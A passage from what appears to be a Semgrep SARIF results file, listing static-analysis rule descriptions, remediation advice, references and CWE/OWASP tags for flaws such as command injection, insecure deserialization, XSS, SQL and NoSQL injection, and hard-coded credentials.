properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","id":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","name":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","id":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","name":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"help":{"markdown":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off)\n - [https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/](https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/)\n","text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"helpUri":"https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","id":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","name":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","id":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","name":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"help":{"markdown":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html)\n","text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe","id":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","name":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-mark-safe.avoid-mark-safe"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false","id":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","name":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-false.django-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"help":{"markdown":"This call turns off CSRF protection allowing CSRF attacks against the application\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection)\n - [https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection)\n","text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","id":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","name":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format","id":"javascript.express.security.injection.raw-html-format.raw-html-format","name":"javascript.express.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Proxy declares a state var that may override a storage slot of the implementation"},"help":{"markdown":"Proxy declares a state var that may override a storage slot of the implementation\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision)\n - [https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22](https://blog.audius.co/article/audius-governance-takeover-post-mortem-7-23-22)\n","text":"Proxy declares a state var that may override a storage slot of the implementation"},"helpUri":"https://semgrep.dev/r/solidity.security.proxy-storage-collision.proxy-storage-collision","id":"solidity.security.proxy-storage-collision.proxy-storage-collision","name":"solidity.security.proxy-storage-collision.proxy-storage-collision","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.proxy-storage-collision.proxy-storage-collision"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url","id":"rust.secrets.diesel.pg-connection-url.pg-connection-url","name":"rust.secrets.diesel.pg-connection-url.pg-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.diesel.pg-connection-url.pg-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"help":{"markdown":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string)\n - [https://github.com/golang/go/issues/9200#issuecomment-66100328](https://github.com/golang/go/issues/9200#issuecomment-66100328)\n - [https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/](https://blogtitle.github.io/robn-go-security-pearls-cross-site-scripting-xss/)\n","text":"Detected template variable interpolation in a JavaScript template string. This is potentially vulnerable to cross-site scripting (XSS) attacks because a malicious actor has control over JavaScript but without the need to use escaped characters. Instead, obtain this variable outside of the template string and ensure your template is properly escaped."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","id":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","name":"go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.xss.no-interpolation-js-template-string.no-interpolation-js-template-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length in this following `snprintf` call."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","id":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","name":"cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-snprintf.snprintf-return-value-snprintf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://github.com/jsonpickle/jsonpickle#jsonpickle](https://github.com/jsonpickle/jsonpickle#jsonpickle)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `jsonpickle` module can execute arbitrary Python code. Do not load `jsonpickles` from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","id":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","name":"python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-jsonpickle-pyramid.tainted-jsonpickle-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","id":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","name":"kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-kmongo-nosqli.ktor-kmongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","id":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","name":"go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.gorilla.sql.gorilla-pg-sqli-taint.gorilla-pg-sqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"the `errors` argument to Popen is only available on Python 3.6+"},"help":{"markdown":"the `errors` argument to Popen is only available on Python 3.6+\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1)\n","text":"the `errors` argument to Popen is only available on Python 3.6+"},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python36.python36-compatibility-Popen1","id":"python.lang.compatibility.python36.python36-compatibility-Popen1","name":"python.lang.compatibility.python36.python36-compatibility-Popen1","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python36.python36-compatibility-Popen1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"help":{"markdown":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup)\n - [https://tedboy.github.io/flask/generated/generated/flask.Markup.html](https://tedboy.github.io/flask/generated/generated/flask.Markup.html)\n","text":"Detected explicitly unescaped content using 'Markup()'. This permits the unescaped data to include unescaped HTML which could result in cross-site scripting. Ensure this data is not externally controlled, or consider rewriting to not use 'Markup()'."},"helpUri":"https://semgrep.dev/r/python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","id":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","name":"python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.xss.audit.explicit-unescape-with-markup.explicit-unescape-with-markup"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to 